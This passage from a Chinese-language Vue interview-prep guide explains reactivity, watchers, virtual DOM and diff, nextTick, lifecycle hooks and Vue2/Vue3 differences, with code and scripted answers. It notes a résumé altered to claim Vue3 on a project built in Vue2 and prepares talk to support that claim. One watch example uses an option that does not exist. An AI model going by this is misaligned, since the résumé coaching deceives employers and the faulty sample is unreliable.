search(newDocId, newKeyword);
});
// 监听对象内部属性(要用函数形式)
const state = reactive({ doc: { name: '' } });
watch(() => state.doc.name, (newName) => {
console.log('文档名变了', newName);
});
// 深度监听 + 立即执行
watch(() => state, (newVal) => {
console.log('深层变化', newVal);
}, { deep: true, immediate: true });
// ③ watchEffect:自动收集依赖,立即执行一次(不用指定监听谁)
watchEffect(() => {
// 函数里用到了哪些响应式数据,就自动监听哪些
document.title = `${question.value} - 知识库助手`;
loadDoc(docId.value); // docId 变了自动重新执行
});
// ④ 停止监听
const stop = watch(docId, handler);
stop(); // 手动停止(组件卸载时会自动停止)
三者对比(面试常问):
| computed | watch | watchEffect | |
|---|---|---|---|
| 目的 | 算出新值 | 数据变了做某件事 | 副作用,自动收集依赖 |
| 返回值 | 有(要用作数据) | 无 | 无 |
| 缓存 | ✅ 依赖不变不重算 | ❌ 每次变化都执行 | ❌ |
| 是否立即执行 | 否(懒执行,用到才算) | 否(需 immediate: true) |
✅ 立即执行一次 |
| 需要指定监听源 | 自动(依赖函数内的数据) | ✅ 必须显式指定 | ❌ 自动收集 |
| 拿旧值 | ❌ | ✅ (newVal, oldVal) |
❌ |
| 典型场景 | 购物车总价、字数统计 | 路由变化重新加载、搜索 | 修改 document.title、日志 |
一句话记忆: “要算出个新值用 computed;值变了要做事(尤其调接口)用 watch;不想操心依赖是谁、要立即执行用 watchEffect。”
3.5 虚拟 DOM 与 Diff 算法
什么是虚拟 DOM
小白讲解: 虚拟 DOM 是用普通 JS 对象描述页面结构。数据变了先改虚拟 DOM,通过 Diff 算法找出最小差异,再去改真实 DOM——因为直接操作真实 DOM 很慢(会触发重排重绘)。
// 真实 DOM 节点(浏览器对象,属性多、操作重)
<div id="app" class="container">
<span>Hello</span>
</div>
// 对应的虚拟 DOM(VNode,就是个普通 JS 对象)
{
tag: 'div',
props: { id: 'app', class: 'container' },
children: [
{ tag: 'span', props: {}, children: 'Hello' }
]
}
为什么需要虚拟 DOM:
直接操作真实 DOM:
数据变化 → 重建整棵 DOM 树 → 浏览器重排+重绘 → 慢 ❌
虚拟 DOM:
数据变化 → 生成新 VNode 树 → Diff 对比新旧树 → 只改差异节点 → 快 ✅
↓
比如 1000 个节点只变了 1 个
→ 只更新那 1 个真实 DOM 节点
好处: ① 性能优化(批量 + 最小化更新);② 跨平台(同一套 VNode 可以渲染成 DOM、小程序、Native,因为 VNode 只是 JS 对象);③ 声明式编程(不用手动操作 DOM)。
Diff 算法(Vue3 的快速 Diff)
核心策略(三个原则,面试答这三点):
① 只比较同层级,不跨层级
旧:A 新:A
├─ B ├─ C ← 只对比 A 的子节点 B 和 C
└─ C └─ B 不拿旧A的B 和 新A的子节点外的节点比
② 双端对比(Vue2 是头头、尾尾、头尾、尾头四指针)
旧: [a, b, c, d]
新: [a, d, c, b]
从头比:a=a 相同 → 跳过
从尾比:d=b 不同 → 停
③ Vue3 的 PatchFlag(革命性优化)
编译时给动态节点打标记,Diff 时只看这些标记,静态内容直接跳过
Vue3 的 PatchFlag 优化(面试亮点):
<!-- 模板 -->
<div>
<span>静态文本</span> <!-- 静态,永不变 -->
<span>{{ message }}</span> <!-- 只有文本动态 -->
<span :class="cls">内容</span> <!-- 只有 class 动态 -->
</div>
// 编译后的渲染函数(简化)
_createElementVNode("div", null, [
_createElementVNode("span", null, "静态文本"), // 无 flag
_createElementVNode("span", null, _toDisplayString(message), 1 /* TEXT */),
// ↑ PatchFlag=1 表示只有文本会变
_createElementVNode("span", { class: cls }, "内容", 2 /* CLASS */)
// ↑ PatchFlag=2 表示只有 class 会变
])
效果: Diff 时看到 TEXT 标记就直接比对文本内容,跳过属性、子节点等其他检查——靶向更新,这是 Vue3 性能提升的关键之一。
静态提升(另一个优化):
// 编译前
function render() {
return createVNode('div', null, [
createVNode('span', null, '静态文本'), // 每次渲染都重新创建
createVNode('span', null, message)
]);
}
// 编译后(静态提升)
const _hoisted = createVNode('span', null, '静态文本'); // ← 提到函数外,只创建一次
function render() {
return createVNode('div', null, [
_hoisted, // 复用同一个 VNode
createVNode('span', null, message)
]);
}
面试题 ⭐⭐⭐⭐:什么是虚拟 DOM?Diff 算法的原理?Vue3 做了哪些优化?
答: 虚拟 DOM 是用 JS 对象描述真实 DOM 结构的轻量表示。数据变化时先生成新的 VNode 树,通过 Diff 算法对比新旧树的差异,只把差异部分更新到真实 DOM,避免整棵树重建带来的重排重绘开销。 Diff 三原则: ① 只同层比较,不跨层;② 双端对比(头头、尾尾、头尾、尾头);③ 用 key 复用节点。 Vue3 的优化: ① PatchFlag——编译时给动态节点打标记(如 TEXT=1、CLASS=2),Diff 时只检查标记的部分,跳过静态内容;② 静态提升——静态节点提到渲染函数外只创建一次,复用;③ 事件缓存——内联事件处理函数缓存起来,避免每次渲染重新创建;④ Block Tree——把动态节点收集成数组,Diff 时只遍历动态节点,跳过静态子树。
3.6 nextTick(面试常考)
问题场景: Vue 的 DOM 更新是异步批量的——改了数据,DOM 不会立刻更新。
const count = ref(0);
const el = ref(null);
count.value = 1;
console.log(el.value.textContent); // 还是 '0'!DOM 还没更新
// 解决:等下一次 DOM 更新周期结束后再读
import { nextTick } from 'vue';
count.value = 1;
await nextTick(); // 或 nextTick(() => { ... })
console.log(el.value.textContent); // '1' ✅
原理:
数据变化
↓
触发 setter → trigger → 把更新任务推进微任务队列(Promise.then)
↓
同步代码执行完
↓
清空微任务队列 → 执行组件更新(flushJobs)→ 更新 DOM
↓
nextTick 的回调也在微任务队列里,排在更新任务之后 → 能拿到更新后的 DOM
★ 关键:nextTick 内部就是用 Promise.then(微任务)实现的
所以 nextTick 的回调一定在 DOM 更新之后执行
实际使用场景:
// 场景1:数据变化后操作 DOM(聚焦、滚动)
async function addMessage() {
messages.value.push(newMsg);
await nextTick();
// 滚动到底部(必须在 DOM 更新后,否则新消息还没渲染)
messageListRef.value.scrollTop = messageListRef.value.scrollHeight;
}
// 场景2:ECharts 初始化/更新(容器尺寸要等 DOM 就绪)
async function initChart() {
showChart.value = true; // 先让容器显示(v-if 控制)
await nextTick(); // 等 DOM 渲染出容器
chart = echarts.init(chartRef.value); // 此时容器已有尺寸
chart.setOption(option);
}
// 场景3:表单校验后聚焦第一个错误字段
await formRef.value.validate();
await nextTick();
document.querySelector('.is-error input')?.focus();
面试题 ⭐⭐⭐⭐:为什么 Vue 的 DOM 更新是异步的?nextTick 是什么原理?
答: 如果每次改数据都同步更新 DOM,那么一次操作改 10 个数据就会触发 10 次重排重绘,性能极差。所以 Vue 把 DOM 更新做成异步批量的:数据变化时先把更新任务推入微任务队列,同步代码执行完后统一 flush,同一个数据的多次变化只会更新一次(还会去重)。
nextTick就是把回调也放进微任务队列(内部基于Promise.then),排在 DOM 更新任务之后,所以能拿到更新后的 DOM。这也是为什么nextTick比setTimeout(fn, 0)快——微任务优先于宏任务。 使用场景: 数据变化后需要立即操作 DOM(滚动、聚焦、初始化图表)时,包在nextTick里。
3.7 模板语法与常用指令
<template>
<!-- ① 文本插值 -->
<span>{{ message }}</span>
<span>{{ user.name.toUpperCase() }}</span> <!-- 支持表达式 -->
<!-- ② v-bind(简写 :)绑定属性 -->
<img :src="avatarUrl" :alt="user.name">
<div :class="{ active: isActive, 'text-danger': hasError }"></div>
<div :class="[baseClass, dynamicClass]"></div>
<div :style="{ color: textColor, fontSize: size + 'px' }"></div>
<!-- ③ v-on(简写 @)绑定事件 -->
<button @click="handleClick">点击</button>
<button @click="handleClick($event, '参数')">带参数</button>
<input @keyup.enter="submit"> <!-- 按键修饰符 -->
<form @submit.prevent="onSubmit"></form> <!-- .prevent 阻止默认行为 -->
<div @click.stop="onClick"></div> <!-- .stop 阻止冒泡 -->
<div @click.once="onClick"></div> <!-- .once 只触发一次 -->
<!-- ④ v-model 双向绑定 -->
<input v-model="question">
<!-- 等价于: -->
<input :value="question" @input="question = $event.target.value">
<el-input v-model.trim="question" /> <!-- .trim 去首尾空格 -->
<el-input v-model.number="count" /> <!-- .number 转数字 -->
<el-input v-model.lazy="keyword" /> <!-- .lazy 失焦才更新 -->
<!-- ⑤ v-if vs v-show(面试必考区别) -->
<div v-if="isVisible">条件渲染</div> <!-- 不满足就销毁/不创建 DOM -->
<div v-show="isVisible">显示隐藏</div> <!-- 始终存在,只是 display:none -->
<!-- ⑥ v-for 列表渲染(必须加 key) -->
<div v-for="(item, index) in list" :key="item.id">
{{ index }} - {{ item.name }}
</div>
<div v-for="(value, key) in obj" :key="key"></div>
<!-- ⑦ v-html(危险!XSS 风险,见第十二章) -->
<div v-html="rawHtml"></div> <!-- ⚠️ 绝不用于用户输入内容 -->
</template>
v-if vs v-show(面试必考):
| v-if | v-show | |
|---|---|---|
| 实现方式 | 条件不满足不渲染/销毁 DOM 节点 | 始终渲染,切换 display: none |
| 初始开销 | 低(不满足就完全不创建) | 高(不管怎样都创建) |
| 切换开销 | 高(涉及 DOM 创建/销毁、组件生命周期) | 低(只改 CSS) |
| 适用场景 | 条件很少改变(如权限控制) | 频繁切换(如 tab、折叠面板) |
| 可配合 | v-else / v-else-if | 无 |
为什么 v-for 必须加 key?
无 key(就地复用):
旧: [A, B, C] 新: [C, A, B]
Vue 会"就地更新":把第一个节点内容改成 C、第二个改成 A、第三个改成 B
→ 如果节点里有输入框/组件状态,会错乱!
有 key(精准复用):
旧: [A(key=1), B(key=2), C(key=3)]
新: [C(key=3), A(key=1), B(key=2)]
Vue 通过 key 认出"还是同一批节点",只做位置移动 → 状态保持正确 ✅
⚠️ 不要用 index 当 key!
列表中间插入/删除元素时,index 会错位,导致错误复用
3.8 生命周期(Vue3)
创建阶段
├─ setup() ← 组合式 API 入口,最先执行(代替 beforeCreate/created)
├─ onBeforeMount() 组件挂载前(DOM 还没生成)
├─ onMounted() ★★★ DOM 已就绪 → 调接口、初始化 ECharts、绑定事件
│
更新阶段
├─ onBeforeUpdate() 数据变了,DOM 更新前
├─ onUpdated() 数据变了,DOM 更新后(⚠️ 别在这里改数据,会死循环)
│
销毁阶段
├─ onBeforeUnmount() ★★★ 组件销毁前 → 清理 SSE/WebSocket/定时器/事件监听
└─ onUnmounted() 组件已销毁
特殊
├─ onErrorCaptured() 捕获子孙组件错误
├─ onActivated/onDeactivated keep-alive 缓存组件激活/失活
Vue2 → Vue3 生命周期对照(第四章详讲):
| Vue2 (Options API) | Vue3 (Composition API) | 说明 |
|---|---|---|
| beforeCreate | setup() | 合并进 setup |
| created | setup() | 合并进 setup |
| beforeMount | onBeforeMount | |
| mounted | onMounted | |
| beforeUpdate | onBeforeUpdate | |
| updated | onUpdated | |
| beforeDestroy | onBeforeUnmount | 改名(destroy → unmount) |
| destroyed | onUnmounted | 改名 |
| activated | onActivated | keep-alive |
| deactivated | onDeactivated | keep-alive |
| errorCaptured | onErrorCaptured |
你的项目要用到的钩子:
import { onMounted, onUnmounted, onActivated, onDeactivated, ref } from 'vue';
onMounted(() => {
// ① DOM 就绪 → 初始化
loadHistory(); // 拉历史对话
chart = echarts.init(chartRef.value); // 初始化 ECharts(容器必须有尺寸!)
window.addEventListener('resize', handleResize);
});
onUnmounted(() => {
// ② 组件销毁 → 必须清理,否则内存泄漏
eventSource?.close(); // 关 SSE 连接
ws?.close(); // 关 WebSocket
chart?.dispose(); // 销毁 ECharts 实例(★ 大屏必做)
clearInterval(timer); // 清定时器
window.removeEventListener('resize', handleResize);
});
// ③ keep-alive 场景(大屏页面切换后回来)
onActivated(() => {
chart?.resize(); // 重新计算尺寸
startPolling(); // 恢复轮询
});
onDeactivated(() => {
stopPolling(); // 暂停轮询(省资源)
});
面试话术(结合你的项目,很有说服力): “我们踩过一个坑:用户在对话页切到文档管理页后,SSE 连接没关,后端还在推 token,浏览器控制台报错且连接数累积。后来统一在 onUnmounted 里 eventSource.close() 解决。大屏那边也类似——ECharts 实例不 dispose() 会导致内存泄漏,我们封装了个 composable 统一管理初始化和销毁。”
第三章 面试题汇总
| # | 题目 | 难度 |
|---|---|---|
| 1 | Vue2 和 Vue3 响应式原理的区别?各自的缺陷? | ⭐⭐⭐⭐⭐ |
| 2 | 手写一个简易的响应式系统(Proxy 版) | ⭐⭐⭐⭐⭐ |
| 3 | ref 和 reactive 的区别?什么时候用哪个? | ⭐⭐⭐⭐ |
| 4 | reactive 解构为什么会丢失响应式?怎么解决? | ⭐⭐⭐⭐ |
| 5 | computed、watch、watchEffect 的区别? | ⭐⭐⭐⭐ |
| 6 | 什么是虚拟 DOM?为什么要用它? | ⭐⭐⭐⭐ |
| 7 | Diff 算法的原理?Vue3 做了哪些优化? | ⭐⭐⭐⭐⭐ |
| 8 | 什么是 PatchFlag?有什么作用? | ⭐⭐⭐⭐ |
| 9 | 为什么 Vue 的 DOM 更新是异步的?nextTick 原理? | ⭐⭐⭐⭐ |
| 10 | v-if 和 v-show 的区别?怎么选? | ⭐⭐⭐⭐ |
| 11 | v-for 为什么要加 key?能用 index 吗? | ⭐⭐⭐⭐ |
| 12 | Vue3 生命周期有哪些?和 Vue2 的对应关系? | ⭐⭐⭐ |
| 13 | 组件卸载时要清理什么?不清理会怎样? | ⭐⭐⭐⭐ |
| 14 | 说说你对 MVVM 的理解 | ⭐⭐⭐ |
第四章:Vue2 vs Vue3 全面对比(重点章)
为什么这章重要: 你简历写的是 Vue3,但社区里大量项目还是 Vue2,面试官(尤其是资深前端)极爱问“Vue2 和 Vue3 有什么区别”——这一个问题就能区分出“只会抄代码”和“真懂框架”。 ⚠️ 你的特殊背景: 简历项目四(社区平台,2020-2022 埃森哲时期)原本用的是 Vue2 + Element UI(已在简历中统一为 Vue3 技术栈),如果面试官追问“你从 Vue2 迁到 Vue3 遇到过什么问题”,本章的 4.9 节准备了完整话术。
4.1 一张表看懂全部差异
| 维度 | Vue2 | Vue3 | 影响 |
|---|---|---|---|
| 响应式原理 | Object.defineProperty |
Proxy |
新增/删除属性、数组下标、Map/Set 全支持 |
| API 风格 | Options API(data/methods/computed 分块) | Composition API(setup)+ 兼容 Options | 逻辑复用从 mixin 变成 composable |
| 根节点 | 单根(template 只能一个根元素) | Fragment 多根 | 不用再套无意义的 <div> |
| 生命周期 | beforeDestroy / destroyed | beforeUnmount / unmounted | 命名统一(mount/unmount 对称) |
| 打包体积 | 全量引入 | Tree-shaking 按需 | 核心体积从 ~20KB 降到 ~10KB |
| Diff 算法 | 双端对比 | 快速 Diff + PatchFlag | 靶向更新,跳过静态内容 |
| TypeScript | 支持差(this 类型难推) | 原生 TS 重写 | 类型推导完善 |
| 状态管理 | Vuex | Pinia(官方推荐) | 去掉 mutation,更简洁 |
| 组件通信 | $on/$off/$emit |
移除 $on/$off,保留 emit |
事件总线改第三方 mitt |
| v-model | 一个组件只能一个(.sync 辅助) |
支持多个 + 自定义修饰符 | 表单组件更灵活 |
key 位置 |
v-if/v-else 要分别加 key | 自动生成不同的 key | 不用手动加 |
| 异步组件 | () => import() |
defineAsyncComponent |
支持 loading/error 状态 |
| 新组件 | — | Teleport / Suspense | 传送门、异步依赖处理 |
| 过滤器 filter | 支持 {{ msg | capitalize }} |
移除(用 computed/方法) | 管道语法被砍 |
$children |
支持 | 移除 | 用 ref 获取子组件 |
| 构建工具 | Vue CLI (Webpack) | Vite(官方推荐) | 冷启动秒级 |
4.2 响应式原理差异(代码级,面试必写)
详细原理见 3.2 节,这里聚焦对比和迁移踩坑。
Vue2 实现(简化版,要能手撕)
// Vue2 响应式核心:defineReactive + 依赖收集
class Dep {
constructor() { this.subscribers = new Set(); }
depend() { if (Dep.target) this.subscribers.add(Dep.target); }
notify() { this.subscribers.forEach(sub => sub()); }
}
Dep.target = null;
function defineReactive(obj, key, val) {
const dep = new Dep();
observe(val); // 递归子对象(初始化时全量递归!)
Object.defineProperty(obj, key, {
get() {
dep.depend(); // 收集依赖
return val;
},
set(newVal) {
if (newVal === val) return;
val = newVal;
observe(newVal); // 新值也要递归
dep.notify(); // 派发更新
}
});
}
function observe(obj) {
if (typeof obj !== 'object' || obj === null) return;
Object.keys(obj).forEach(key => defineReactive(obj, key, obj[key]));
}
// 数组的特殊处理:重写 7 个变更方法
const arrayProto = Array.prototype;
const arrayMethods = Object.create(arrayProto);
['push', 'pop', 'shift', 'unshift', 'splice', 'sort', 'reverse'].forEach(method => {
arrayMethods[method] = function(...args) {
const result = arrayProto[method].apply(this, args);
this.__ob__.dep.notify(); // 手动触发更新
return result;
};
});
// 这就是为什么 Vue2 里 arr[0] = x 不响应,但 arr.push(x) 响应
Vue3 实现(简化版)
// Vue3 响应式核心:Proxy + 懒代理
const targetMap = new WeakMap(); // WeakMap<target, Map<key, Set<effect>>>
let activeEffect = null;
function track(target, key) {
if (!activeEffect) return;
let depsMap = targetMap.get(target);
if (!depsMap) targetMap.set(target, depsMap = new Map());
let dep = depsMap.get(key);
if (!dep) depsMap.set(key, dep = new Set());
dep.add(activeEffect);
}
function trigger(target, key) {
const depsMap = targetMap.get(target);
if (!depsMap) return;
const dep = depsMap.get(key);
if (dep) dep.forEach(effect => effect());
}
function reactive(target) {
return new Proxy(target, {
get(obj, key, receiver) {
track(obj, key);
const result = Reflect.get(obj, key, receiver);
// ★ 懒代理:只有访问到才递归代理(Vue2 是初始化就全量递归)
return typeof result === 'object' && result !== null
? reactive(result) : result;
},
set(obj, key, value, receiver) {
const oldValue = obj[key];
const success = Reflect.set(obj, key, value, receiver);
if (oldValue !== value) trigger(obj, key);
return success;
},
deleteProperty(obj, key) {
const hadKey = Object.prototype.hasOwnProperty.call(obj, key);
const success = Reflect.deleteProperty(obj, key);
if (hadKey && success) trigger(obj, key);
return success;
}
});
}
function effect(fn) {
activeEffect = fn;
fn(); // 立即执行一次,触发 getter → 收集依赖
activeEffect = null;
}
// 使用
const state = reactive({ count: 0, user: { name: '张三' } });
effect(() => console.log('count =', state.count)); // 立即打印 count = 0
state.count++; // 自动触发 → count = 1
state.newProp = '任意新属性'; // ✅ Vue3 能拦截
delete state.count; // ✅ Vue3 能拦截
对比总结(背这段就够了)
| 对比点 | Vue2 defineProperty | Vue3 Proxy |
|---|---|---|
| 劫持粒度 | 逐个属性 | 整个对象 |
| 新增属性 | ❌ 需 $set |
✅ 原生支持 |
| 删除属性 | ❌ 需 $delete |
✅ deleteProperty 拦截 |
| 数组下标 | ❌ 需 $set 或重写方法 |
✅ 原生支持 |
| 数组 length | ❌ | ✅ |
| Map / Set | ❌ | ✅ |
| 递归时机 | 初始化全量递归(对象大时卡) | 懒代理(访问到才递归) |
| 拦截操作种类 | 只有 get/set(2 种) | 13 种(get/set/has/deleteProperty/ownKeys…) |
| 浏览器兼容 | IE8+(重写过) | 不支持 IE11(Proxy 无法 polyfill) |
⚠️ 面试追问:Vue3 不支持 IE11 吗?
答: 对。Vue3 的响应式基于 Proxy,而 Proxy 是 ES6 特性无法被 polyfill(因为要拦截语言层面的对象操作)。所以 Vue3 官方放弃 IE11 支持。如果项目必须兼容 IE11,只能用 Vue 2.7(Vue2 的最后一个版本,反向移植了 Composition API)。我们项目是内部系统,只要求 Chrome/Edge 现代浏览器,所以直接上 Vue3。
4.3 Options API vs Composition API(代码对照)
这是最直观的差异,也是面试最爱让“说说区别”的地方。建议记住下面这个对照例子。
场景:一个文档列表页,有搜索、分页、加载
Vue2 Options API 写法:
<script>
export default {
// 数据集中放 data
data() {
return {
docList: [],
keyword: '',
loading: false,
pageNum: 1,
total: 0
};
},
// 计算属性集中放 computed
computed: {
hasData() { return this.docList.length > 0; }
},
// 方法集中放 methods
methods: {
async loadDocs() {
this.loading = true;
const res = await fetch(`/api/documents?keyword=${this.keyword}&page=${this.pageNum}`);
const data = await res.json();
this.docList = data.list;
this.total = data.total;
this.loading = false;
},
handleSearch() {
this.pageNum = 1;
this.loadDocs();
}
},
// 监听器集中放 watch
watch: {
pageNum() { this.loadDocs(); }
},
// 生命周期
mounted() { this.loadDocs(); }
};
</script>
Vue3 Composition API 写法:
<script setup>
import { ref, computed, watch, onMounted } from 'vue';
// 同一个功能的数据+逻辑写在一起(高内聚)
const docList = ref([]);
const keyword = ref('');
const loading = ref(false);
const pageNum = ref(1);
const total = ref(0);
const hasData = computed(() => docList.value.length > 0);
async function loadDocs() {
loading.value = true;
const res = await fetch(`/api/documents?keyword=${keyword.value}&page=${pageNum.value}`);
const data = await res.json();
docList.value = data.list;
total.value = data.total;
loading.value = false;
}
function handleSearch() {
pageNum.value = 1;
loadDocs();
}
watch(pageNum, loadDocs);
onMounted(loadDocs);
</script>
真正的核心优势:逻辑复用(Composable)
这是 Composition API 存在的最大意义——解决 Vue2 mixin 的三大痛点。
Vue2 的 mixin 三大坑:
// mixin-a.js
export const searchMixin = {
data() { return { keyword: '' }; }, // ① 命名冲突:两个 mixin 都有 keyword 会覆盖!
methods: { search() { /* ... */ } }
};
export const pageMixin = {
data() { return { keyword: '', pageNum: 1 }; }, // ← 也有 keyword!静默覆盖,难排查
};
// ② 来源不清晰:模板里用 this.keyword,不知道是哪个 mixin 来的
// ③ 不能传参:mixin 是固定逻辑,无法像函数一样配置
Vue3 的 composable(自定义 hooks):
// composables/useSearch.js —— 就是一个普通函数,可以传参、可以返回任意东西
import { ref, watch } from 'vue';
export function useSearch(fetchFn, defaultKeyword = '') {
const keyword = ref(defaultKeyword); // 每个组件调用都是独立实例,不会冲突
const results = ref([]);
const loading = ref(false);
async function search() {
loading.value = true;
results.value = await fetchFn(keyword.value);
loading.value = false;
}
watch(keyword, search, { debounce: 300 });
return { keyword, results, loading, search }; // 显式返回,来源清晰
}
// 组件中使用(可以调用多次,互不干扰)
const docSearch = useSearch(searchDocuments);
const tagSearch = useSearch(searchTags, 'default'); // 传参配置 ✅
// docSearch.keyword 和 tagSearch.keyword 完全独立,不会冲突 ✅
对比表(面试答这个):
| 对比 | Vue2 Options API + mixin | Vue3 Composition API + composable |
|---|---|---|
| 代码组织 | 按选项类型分(data/methods 分开) | 按功能聚合(相关逻辑写一起) |
| 命名冲突 | ❌ mixin 属性会静默覆盖 | ✅ 每次调用独立作用域 |
| 来源追溯 | ❌ this.xxx 不知道哪来的 |
✅ 显式解构,来源清晰 |
| 传参配置 | ❌ mixin 固定逻辑 | ✅ 函数可传参 |
| 类型推导 | ❌ this 类型难推 | ✅ 原生 TS 友好 |
| 学习成本 | 低(分块清晰) | 稍高(要理解响应式 API) |
| 逻辑复用 | mixin(有坑) | composable(纯函数,好测试) |
面试话术: “Composition API 最大的价值不是写法变化,而是逻辑复用方式的根本改变。Vue2 用 mixin 复用,但有三个坑:命名冲突、来源不清晰、不能传参。Vue3 把逻辑抽成 composable 函数,本质是普通 JS 函数——可以传参、每次调用独立作用域、返回什么一目了然,还能单独写单元测试。我们项目里把 SSE 流式请求、ECharts 生命周期管理、分页逻辑都抽成了 composable,几个页面直接复用。”
4.4 生命周期变化(对照 + 迁移)
Vue2 Vue3 (Options) Vue3 (Composition)
─────────────────────────────────────────────────────────────────────────
beforeCreate → beforeCreate → setup()
created → created → setup()
beforeMount → beforeMount → onBeforeMount()
mounted → mounted → onMounted()
beforeUpdate → beforeUpdate → onBeforeUpdate()
updated → updated → onUpdated()
beforeDestroy → beforeUnmount ★改名 → onBeforeUnmount()
destroyed → unmounted ★改名 → onUnmounted()
errorCaptured → errorCaptured → onErrorCaptured()
activated → activated → onActivated()
deactivated → deactivated → onDeactivated()
关键变化:
beforeCreate和created被setup()取代——setup 在组件创建前执行,所以这两个钩子的代码直接写在 setup 顶层。destroy改名为unmount——和mount对称,语义更准确(销毁 ≠ 卸载)。- 新增
onRenderTracked/onRenderTriggered(调试用,了解即可)。
// Vue2 写法
export default {
created() {
console.log('组件创建了');
this.loadData(); // 注意:created 时 DOM 还没生成,不能操作 DOM
},
mounted() {
this.$refs.input.focus(); // DOM 就绪
},
beforeDestroy() {
clearInterval(this.timer);
}
};
// Vue3 写法
import { onMounted, onBeforeUnmount, ref } from 'vue';
// setup 顶层就相当于 created
console.log('组件创建了');
loadData();
onMounted(() => {
inputRef.value.focus();
});
onBeforeUnmount(() => {
clearInterval(timer);
});
⚠️ 注意:Vue3 里 setup() 中不能用 this(setup 执行时组件实例还没创建)。要拿组件实例用 getCurrentInstance(),但一般不推荐。
4.5 性能提升(Vue3 快在哪?记住 5 点)
① Tree-shaking(按需引入,体积小一半)
// Vue2:不管用不用,整个 Vue 全量引入
import Vue from 'vue';
// 打包后包含所有 API(v-model、transition、keep-alive...),即使用不到
// Vue3:ES Module 按需引入,没用到的 API 被 tree-shaking 掉
import { createApp, ref, computed } from 'vue';
// 只打包用到的部分 → 核心运行时从 ~20KB(gzip) 降到 ~10KB
原理: Vue3 把 API 拆成独立函数导出,打包工具(Rollup/Vite)能静态分析出哪些没用到并删除。Vue2 的 API 都挂在 Vue 对象上(Vue.nextTick),无法静态分析。
② 静态提升(Static Hoisting)
// 编译前
render() {
return createVNode('div', null, [
createVNode('span', null, '静态文本'), // 每次渲染都重新创建对象
createVNode('span', null, this.message)
]);
}
// 编译后:静态节点提到渲染函数外
const hoisted = createVNode('span', null, '静态文本'); // 只创建一次
render() {
return createVNode('div', null, [
hoisted, // 复用
createVNode('span', null, this.message)
]);
}
③ PatchFlag(靶向更新)
// 编译时给动态节点打标记
createVNode('span', null, toDisplayString(msg), 1 /* TEXT */)
// ↑ 只有文本会变
// Diff 时:
if (patchFlag & PatchFlags.TEXT) {
// 只比对文本内容,跳过 props、children 检查
}
④ 事件缓存(cacheHandlers)
// 编译前:内联函数每次渲染都重新创建,导致 Diff 时认为变了
createVNode('button', { onClick: () => handleClick() })
// 编译后:缓存起来
createVNode('button', {
onClick: _cache[0] || (_cache[0] = (...args) => handleClick(...args))
})
⑤ Block Tree(动态节点收集)
// 编译时把动态节点收集成数组
const block = createBlock('div', null, [
hoisted, // 静态
dynamicNode1, // 动态 → 进 dynamicChildren
hoisted2, // 静态
dynamicNode2 // 动态 → 进 dynamicChildren
], PatchFlags.STABLE_FRAGMENT);
// block.dynamicChildren = [dynamicNode1, dynamicNode2]
// Diff 时只遍历 dynamicChildren(跳过所有静态节点)
// 复杂度从「整棵树」降到「动态节点数量」
面试话术(背这段): “Vue3 性能提升主要有五点:① 基于 ES Module 的 Tree-shaking,核心体积减半;② 静态提升,静态节点只创建一次复用;③ PatchFlag 标记动态节点类型,Diff 时靶向更新;④ 事件处理器缓存,避免不必要的更新;⑤ Block Tree 把动态节点收集成数组,Diff 时只遍历动态节点。官方数据是渲染性能提升 1.32 倍,SSR 提升 23 倍,包体积减少 41%。”
4.6 Vue3 新特性(三个新组件/能力)
① Fragment(多根节点)
<!-- Vue2 ❌:template 必须有且只有一个根元素 -->
<template>
<div> <!-- 被迫套一层无意义的 div -->
<header>...</header>
<main>...</main>
</div>
</template>
<!-- Vue3 ✅:支持多个根节点 -->
<template>
<header>...</header>
<main>...</main>
<footer>...</footer>
</template>
好处: 减少无意义 DOM 层级,对 CSS 布局(Flex/Grid 直接子元素)友好。
⚠️ 注意: 多根组件如果有 class 绑定,需要显式指定给哪个根(或用 $attrs)。
② Teleport(传送门)
解决什么问题: 组件在逻辑上属于当前组件树,但 DOM 上要渲染到别处(比如弹窗要挂到 body 下,避免被父级 overflow:hidden 或 z-index 裁剪)。
<template>
<div class="page">
<!-- 逻辑上写在这里,DOM 上会被传送到 body -->
<Teleport to="body">
<div v-if="showDialog" class="modal">
<h3>删除确认</h3>
<button @click="confirm">确定</button>
</div>
</Teleport>
</div>
</template>
<!-- 渲染后的真实 DOM 结构:
<body>
<div class="page"></div> ← 组件本身在这
<div class="modal">...</div> ← 弹窗被传送到 body 下,不受父级样式影响
</body>
-->
你的项目场景: 资产托管系统的指令详情弹窗、RAG 系统的文档预览全屏弹层——嵌套在复杂布局里时用 Teleport 挂到 body,避免被祖先的 overflow/z-index 影响。
③ Suspense(异步组件等待)
<template>
<!-- 异步组件加载完成前显示 fallback -->
<Suspense>
<template #default>
<AsyncDashboard /> <!-- 内部有 await 的异步组件 -->
</template>
<template #fallback>
<el-skeleton :rows="5" /> <!-- 加载中显示骨架屏 -->
</template>
</Suspense>
</template>
<script setup>
// 异步组件:setup 里可以 await
const AsyncDashboard = defineAsyncComponent(() => import('./Dashboard.vue'));
</script>
你的项目场景: 能源大屏首屏要加载 ECharts(体积大),用 Suspense + 骨架屏,避免白屏。
⚠️ 注意: Suspense 目前仍是实验性特性,API 可能变化,生产环境慎用(可以用 defineAsyncComponent 的 loadingComponent 替代)。
4.7 Vue3 移除了什么(迁移必踩)
| 移除的 API | Vue2 用法 | Vue3 替代方案 |
|---|---|---|
$on / $off / $once |
事件总线 this.$on('event', fn) |
用 mitt 或 tiny-emitter 第三方库 |
$children |
this.$children[0] |
用 ref 获取子组件实例 |
| 过滤器 filter | {{ msg | capitalize }} |
用 computed 或方法 {{ capitalize(msg) }} |
Vue.set / $set |
this.$set(obj, 'key', val) |
不需要了,Proxy 原生支持 |
Vue.delete / $delete |
this.$delete(obj, 'key') |
不需要了 |
| 按键码 | @keyup.13 |
只能用别名 @keyup.enter |
v-on.native |
<comp @click.native="fn"> |
移除,emit 未在 emits 声明的会透传 |
全局 Vue.xxx |
Vue.use() / Vue.prototype |
createApp() 实例方法 / app.config.globalProperties |
| 内联模板 inline-template | <comp inline-template> |
移除 |
过滤器迁移示例(常见考点):
<!-- Vue2 -->
<template>
<div>{{ amount | currency }}</div>
<div>{{ createTime | dateFormat('YYYY-MM-DD') }}</div>
</template>
<script>
export default {
filters: {
currency(val) { return '¥' + Number(val).toFixed(2); },
dateFormat(val, format) { return dayjs(val).format(format); }
}
};
</script>
<!-- Vue3:改用 computed 或方法 -->
<template>
<div>{{ formatCurrency(amount) }}</div>
<div>{{ formatDate(createTime, 'YYYY-MM-DD') }}</div>
</template>
<script setup>
import { computed } from 'vue';
const formatCurrency = (val) => '¥' + Number(val).toFixed(2);
